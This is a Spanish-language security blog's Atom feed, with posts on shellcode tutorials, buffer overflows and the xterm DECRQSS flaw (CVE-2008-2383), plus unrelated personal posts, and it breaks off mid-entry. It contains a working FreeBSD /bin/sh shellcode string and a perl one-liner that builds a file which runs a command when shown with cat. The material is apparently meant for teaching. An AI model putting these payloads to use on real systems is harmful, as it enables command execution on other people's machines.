<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3462995030631123680</id><updated>2011-08-29T07:02:11.566-05:00</updated><category term='Analisis'/><category term='elhacker.net'/><category term='Implementacion'/><category term='DDoS'/><category term='enlightenment'/><category term='DNS'/><category term='BoF'/><category term='ping'/><category term='Bug'/><category term='Solucion'/><category term='FreeBSD'/><category term='Exploit'/><category term='Outpost24'/><category term='BIND'/><category term='RSA'/><category term='Anon'/><category term='icmp'/><category term='DSA'/><category term='CVE-2008-5187'/><category term='Torneo'/><category term='inet_network()'/><category term='TCP'/><category term='shell'/><category term='PGP'/><category term='libsndfile'/><category term='Seguridad'/><category term='DoS'/><category term='Ancho de Banda'/><category term='Imlib2'/><category term='Sockstress'/><category term='User-Agent'/><title type='text'>In/Seguridad Informatica</title><subtitle type='html'>Seguridad Online</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>64</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7574211125801296252</id><published>2010-02-14T19:52:00.005-06:00</published><updated>2010-02-14T20:06:39.627-06:00</updated><title type='text'>shellcode para freebsd</title><content type='html'>Esta es la shellcode que mostré en el video "&lt;a href="http://stack-and-heap.blogspot.com/2010/02/explicando-los-shellcode-tercera.html"&gt;Explicando los shellcode tercera entrega&lt;/a&gt;", para linux habría que cambiar el numero de la llamada al sistema, y creo que con eso debería de funcionar, sin embargo tengo entendido que linux usa los registros para colocar los argumentos de la función a llamar, si esto es así, entonces lo que se necesita es un cambio total xDDD&lt;br /&gt;&lt;br /&gt;La shellcode es totalmente ineficiente, pero es lo simple que se le puede mostrar aalquien que esta aprendiendo este tema.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: c"&gt;&lt;br /&gt;char *shellcode = "\xeb\x1c\x5e\x89\x75\x04\x31\xc0\x50\x89\x45\x08\xb0\x3b\x8d\x4d\x04\x51\x56\x50\xcd\x80\x31\xc0\x50\xb0\x01\x50\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh";&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7574211125801296252?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7574211125801296252/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7574211125801296252' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7574211125801296252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7574211125801296252'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2010/02/shellcode-para-freebsd.html' title='shellcode para freebsd'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2774908771220281902</id><published>2010-02-13T23:10:00.001-06:00</published><updated>2010-02-13T23:10:33.883-06:00</updated><title type='text'>Explicando los shellcode tercera entrega</title><content type='html'>Bien sobre el tema de los videos de Heuristica y Explotacion de vulnerabilidades he agregado uno nuevo esta es la tercera entrega de &amp;quot;Explicando los shellcode&amp;quot;&lt;br&gt;&lt;br&gt;&lt;a href="http://www.youtube.com/watch?v=a9IPleCG7Yk" onclick="yt.EventManager.fireEvent(&amp;#39;PlayVideos&amp;#39;, &amp;#39;/watch?v=a9IPleCG7Yk&amp;#39;); return false;"&gt;Explicando los shellcode 3/5 						&lt;/a&gt;&lt;br clear="all"&gt;&lt;br&gt;Se termina de construir un shellcode desde 0 y se muestra la ejecución del mismo.&lt;br&gt;Se explica brevemente algunas instrucciones, ya que se da por hecho que se conoce algo de ensamblador.&lt;br&gt; &lt;br&gt;&lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2774908771220281902?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2774908771220281902/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2774908771220281902' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2774908771220281902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2774908771220281902'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2010/02/explicando-los-shellcode-tercera.html' title='Explicando los shellcode tercera entrega'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-6860331930045814</id><published>2010-02-07T00:47:00.001-06:00</published><updated>2010-02-07T00:48:00.066-06:00</updated><title type='text'>xterm 253 DECRQSS Again ??</title><content type='html'>Anteriormente había hecho un video sobre un bug en xterm y los DECRQSS&lt;br&gt;&lt;br&gt;&lt;a href="http://foro.elhacker.net/bugs_y_exploits/video_cve20082383_xterm_decrqss-t279025.0.html" target="_blank"&gt;Video - CVE-2008-2383 xterm DECRQSS&lt;/a&gt;&lt;br&gt; &lt;br&gt;Pues parece que la cosa no ha terminado ahi, estado testando un poco con el xterm y los DECRQSS, parece ser no arreglaron bien el bug.&lt;br&gt;&lt;br&gt;Testeando me han pasado muchas cosas raras, el terminal (xterm) se ha cerrado, ha tratado de ejecutar comandos y bueno muchas cosas de las que se supone no deberían de pasar.&lt;br&gt;&lt;br&gt;Tengo unas imágenes de PoC, no he podido aislar el código maligno, sin embargo cada vez estoy mas cerca.&lt;br&gt;&lt;br&gt;&lt;br&gt;Primero la versión del xterm 253 (Actualizado con la ultima versión de ports desde freebsd)&lt;br&gt; &lt;div align="center"&gt;&lt;img src="http://lh6.ggpht.com/_1zYIthtq7IY/S24w37RQk-I/AAAAAAAAAJs/TTKUfTyihME/s800/xterm_v253.png" alt="" border="0"&gt;&lt;/div&gt;&lt;br&gt;Y después de hacer el cat a un archivo vemos múltiples Command not fount&lt;br&gt; &lt;br&gt;&lt;div align="center"&gt;&lt;img src="http://lh3.ggpht.com/_1zYIthtq7IY/S24v__tlDAI/AAAAAAAAAJk/aWhG5E3fJ4o/s800/xterm_bug.png" alt="" border="0"&gt;&lt;/div&gt;&lt;br&gt;Lo cual  es muestra de que algo va mal.&lt;br&gt;&lt;br&gt;Les mantendré informados&lt;br&gt; &lt;br clear="all"&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-6860331930045814?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/6860331930045814/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=6860331930045814' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/6860331930045814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/6860331930045814'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2010/02/xterm-253-decrqss-again.html' title='xterm 253 DECRQSS Again ??'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_1zYIthtq7IY/S24w37RQk-I/AAAAAAAAAJs/TTKUfTyihME/s72-c/xterm_v253.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8365512660832157478</id><published>2010-01-14T11:55:00.001-06:00</published><updated>2010-01-14T11:55:08.328-06:00</updated><title type='text'>I (L) MySQL!!</title><content type='html'>MySQL hace mi trabajo mas fácil xD&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Los reportes los entrego en 10 minutos y me quedan 4hrs para divagar por internet&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;/div&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8365512660832157478?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8365512660832157478/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8365512660832157478' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8365512660832157478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8365512660832157478'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2010/01/i-l-mysql.html' title='I (L) MySQL!!'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7963950192575606341</id><published>2010-01-08T18:29:00.001-06:00</published><updated>2010-01-08T18:29:37.491-06:00</updated><title type='text'>Lo siento, pero no tienes acceso a esta página</title><content type='html'>ERROR, TU NAVEGADOR ME DICE QUE QUIERES ENTRAR A UN LUGAR PROHIBIDO&lt;br&gt;// Lo que buscas esta muy lejos de aqui &lt;br&gt;&amp;lt;!--correcto=&amp;#39;Security-Focus&amp;#39;--&amp;gt;&lt;br&gt;&lt;br&gt;Para los que sepan de que trata lo anterior, solo me falta atar unas cuantas cosas para resolver el reto.&lt;br&gt; &lt;br clear="all"&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7963950192575606341?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7963950192575606341/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7963950192575606341' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7963950192575606341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7963950192575606341'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2010/01/lo-siento-pero-no-tienes-acceso-esta.html' title='Lo siento, pero no tienes acceso a esta página'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7126753251019681204</id><published>2010-01-06T19:09:00.001-06:00</published><updated>2010-01-06T19:09:46.422-06:00</updated><title type='text'>Explicando los shellcode 1/5</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;&lt;object height='350' width='425'&gt;&lt;param value='http://youtube.com/v/iQypF7imkLk' name='movie'/&gt;&lt;embed height='350' width='425' type='application/x-shockwave-flash' src='http://youtube.com/v/iQypF7imkLk'/&gt;&lt;/object&gt;&lt;/p&gt;&lt;p&gt;Se explica a continuacion lo que es el shellcode y como construir uno desde cero.&lt;br /&gt;&lt;br /&gt;Estén pendientes que faltan otras 4 o 5 entregas.&lt;br /&gt;&lt;br /&gt;Saludos&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7126753251019681204?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7126753251019681204/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7126753251019681204' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7126753251019681204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7126753251019681204'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2010/01/explicando-los-shellcode-15.html' title='Explicando los shellcode 1/5'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2063265322425632141</id><published>2009-12-31T19:35:00.001-06:00</published><updated>2009-12-31T19:35:29.324-06:00</updated><title type='text'>2010!!</title><content type='html'>&lt;div style="text-align: center; font-family: courier new,monospace;"&gt;&lt;b&gt;&lt;font size="6"&gt;Feliz año nuevo a todos&lt;/font&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;&lt;br style="font-family: courier new,monospace;" clear="all"&gt;&lt;span style="font-family: courier new,monospace;"&gt;- Anon&lt;/span&gt;&lt;br style="font-family: courier new,monospace;"&gt; &lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2063265322425632141?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2063265322425632141/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2063265322425632141' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2063265322425632141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2063265322425632141'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/12/2010.html' title='2010!!'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8338401482686716211</id><published>2009-12-27T07:20:00.001-06:00</published><updated>2009-12-27T07:20:09.486-06:00</updated><title type='text'>Desbordamiendo de Buffer</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;&lt;object height='350' width='425'&gt;&lt;param value='http://youtube.com/v/6buwv53rsPM' name='movie'/&gt;&lt;embed height='350' width='425' type='application/x-shockwave-flash' src='http://youtube.com/v/6buwv53rsPM'/&gt;&lt;/object&gt;&lt;/p&gt;&lt;p&gt;Explicando como esta organizada la memoria de manera parida y simple.&lt;br /&gt;&lt;br /&gt;Doy un ejemplo de como sobreescribir variables en la pila, y también un fallo segmento, después se explicara usar estos errores a nuestro favor.&lt;br /&gt;&lt;br /&gt;Por el momento este cogido basta para demostrar la idea de sobreescribir valores en la memoria, esto mediante el uso de funciones como strcpy como se muestra aqui&lt;br /&gt;&lt;br /&gt;https://foro.elhacker.net/bugs_y_exploits/video_desbordamiento_de_buffer-t279112.0.html&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8338401482686716211?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8338401482686716211/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8338401482686716211' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8338401482686716211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8338401482686716211'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/12/desbordamiendo-de-buffer.html' title='Desbordamiendo de Buffer'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-4540574889003225723</id><published>2009-12-27T07:15:00.001-06:00</published><updated>2009-12-27T07:15:13.777-06:00</updated><title type='text'>CVE-2008-2383</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;&lt;object height='350' width='425'&gt;&lt;param value='http://youtube.com/v/LT9GezHYk8I' name='movie'/&gt;&lt;embed height='350' width='425' type='application/x-shockwave-flash' src='http://youtube.com/v/LT9GezHYk8I'/&gt;&lt;/object&gt;&lt;/p&gt;&lt;p&gt;Aqui esta el video&lt;br /&gt;&lt;br /&gt;xterm DECRQSS Remote Command Execution Vulnerability&lt;br /&gt;&lt;br /&gt;Como vemos este es un ejemplo sencillo de lo que se puede hacer con la vulnerabilidad, no se necesita otra cosa mas que un simple archivo, si conocemos de antemano que nuestro objetivo usa xterm en su versión 237 y el comando cat para ver los archivos rápidamente es posible hacer que ejecute comandos que nosotros queramos&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-4540574889003225723?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/4540574889003225723/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=4540574889003225723' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4540574889003225723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4540574889003225723'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/12/cve-2008-2383.html' title='CVE-2008-2383'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2249143333543721443</id><published>2009-12-27T07:13:00.001-06:00</published><updated>2009-12-27T07:13:18.547-06:00</updated><title type='text'>Hijo de la gran puta RC1</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;&lt;object height='350' width='425'&gt;&lt;param value='http://youtube.com/v/7sVXB5wm15s' name='movie'/&gt;&lt;embed height='350' width='425' type='application/x-shockwave-flash' src='http://youtube.com/v/7sVXB5wm15s'/&gt;&lt;/object&gt;&lt;/p&gt;&lt;p&gt;Hace mucho que hice el video. Espero y les guste&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2249143333543721443?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2249143333543721443/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2249143333543721443' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2249143333543721443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2249143333543721443'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/12/hijo-de-la-gran-puta-rc1.html' title='Hijo de la gran puta RC1'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8509081178652963249</id><published>2009-12-25T20:27:00.001-06:00</published><updated>2009-12-25T20:27:47.960-06:00</updated><title type='text'>CVE-2008-2383 xterm DECRQSS</title><content type='html'>&lt;span style="font-size: 20pt; line-height: 1.3em;"&gt;&lt;/span&gt;&lt;br&gt;Esto ya tiene tiempo, sin embargo nunca se hablo de el en el foro y hoy que estoy revisando la versión que yo tengo es vulnerable en mi FreeBSD&lt;br&gt;&lt;br&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2383" target="_blank"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2383&lt;/a&gt;&lt;br&gt; &lt;a href="http://www.securityfocus.com/bid/33060/info" target="_blank"&gt;http://www.securityfocus.com/bid/33060/info&lt;/a&gt;&lt;br&gt;&lt;br&gt;El error afecta al parecer a todos los xterm versión 237&lt;br&gt;&lt;br&gt;por alguna extraña razon el xterm interpreta ciertos caracteres para ejecutar lo que siga a continuacion de ellos.&lt;br&gt; &lt;br&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;perl&lt;/span&gt; -e &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;#39;print &amp;quot;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\e&lt;/span&gt;P&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\$&lt;/span&gt;q&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;id&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\e&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\\&lt;/span&gt;&amp;quot;&amp;#39;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt; donotcat.txt&lt;br&gt; &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;cat&lt;/span&gt; donotcat.txt&lt;br&gt; &lt;/pre&gt;&lt;br&gt;Como vemos este es un ejemplo sencillo de lo que se puede hacer con la vulnerabilidad, no se necesita otra cosa mas que un simple archivo, si conocemos de antemano que nuestro objetivo usa xterm en su versión 237 y el comando cat para ver los archivos rápidamente es posible hacer que ejecute comandos que nosotros queramos.&lt;br&gt;&lt;br clear="all"&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8509081178652963249?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8509081178652963249/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8509081178652963249' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8509081178652963249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8509081178652963249'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/12/cve-2008-2383-xterm-decrqss.html' title='CVE-2008-2383 xterm DECRQSS'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-5458781489380062141</id><published>2009-05-26T22:39:00.001-05:00</published><updated>2009-05-26T22:39:52.123-05:00</updated><title type='text'>SAVANNAH: The L Word Subtitles Season 1 English</title><content type='html'>&lt;div style="text-align: left;" id="result_box" dir="ltr"&gt;OK, great time looking at the English subtitle for this serie, was looking for some that were specific for the torrent to &amp;quot;SAVANNAH&amp;quot;. Since most of those I found were desynchronized. &lt;br&gt;&lt;br&gt; These are perfectly synchronized&lt;/div&gt;&lt;br&gt;&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/Subtitles/The.L.Word.Subtitle.EN.S01.SAVANNAH.zip"&gt;The.L.Word.Subtitle.EN.S01.SAVANNAH.zip&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;MD5&lt;br&gt;MD5 (The L Word - 1x01-1x02 - Pilot.srt) = 0cebb4493764dd2534777269986a36b4&lt;br&gt;MD5 (The L Word - 1x03 - Let\&amp;#39;s Do It.srt) = 0c93bf4f3927c5e6c5bba6981fe1b38c&lt;br&gt;MD5 (The L Word - 1x04 - Longing.srt) = 7291ede41d8c060de028198a3f3d3210&lt;br&gt; MD5 (The L Word - 1x05 - Lies, Lies, Lies.srt) = 50e8412a51ef4e57ab269ef3a595d1e7&lt;br&gt;MD5 (The L Word - 1x06 - Lawfully.srt) = 492bc219bb72067adac6ebc10dafa592&lt;br&gt;MD5 (The L Word - 1x07 - Losing It.srt) = c0e17c9c135fa8325507ad7af579767d&lt;br&gt; MD5 (The L Word - 1x08 - L\&amp;#39;ennui.srt) = 8e0a7daf76953231922e347d8b40fba2&lt;br&gt;MD5 (The L Word - 1x09 - Listen Up.srt) = 5e84a7d27ef7abc7d46ffdeaa1c11311&lt;br&gt;MD5 (The L Word - 1x10 - Luck, Next Time.srt) = d601b4fce25834faec5d4d4cdb0ab280&lt;br&gt; MD5 (The L Word - 1x11 - Liberally.srt) = 70fbc93d86961ef2e68806b7e94f54d4&lt;br&gt;MD5 (The L Word - 1x12 - Looking Back.srt) = 2daeb5aaf64acfa931bd33edd9f893a0&lt;br&gt;MD5 (The L Word - 1x13 - Locked Up.srt) = aed3796fa11d47b1d7fbe7aca8bf2f99&lt;br&gt; MD5 (The L Word - 1x14 - Limb From Limb.srt) = 4083641b34492c0283aef923332d8de0&lt;br&gt;&lt;br&gt;&lt;br&gt;SHA1&lt;br&gt;SHA1 (The L Word - 1x01-1x02 - Pilot.srt) = f14f00d196371bb03882c22bf63e3f6e01811aea&lt;br&gt;SHA1 (The L Word - 1x03 - Let\&amp;#39;s Do It.srt) = 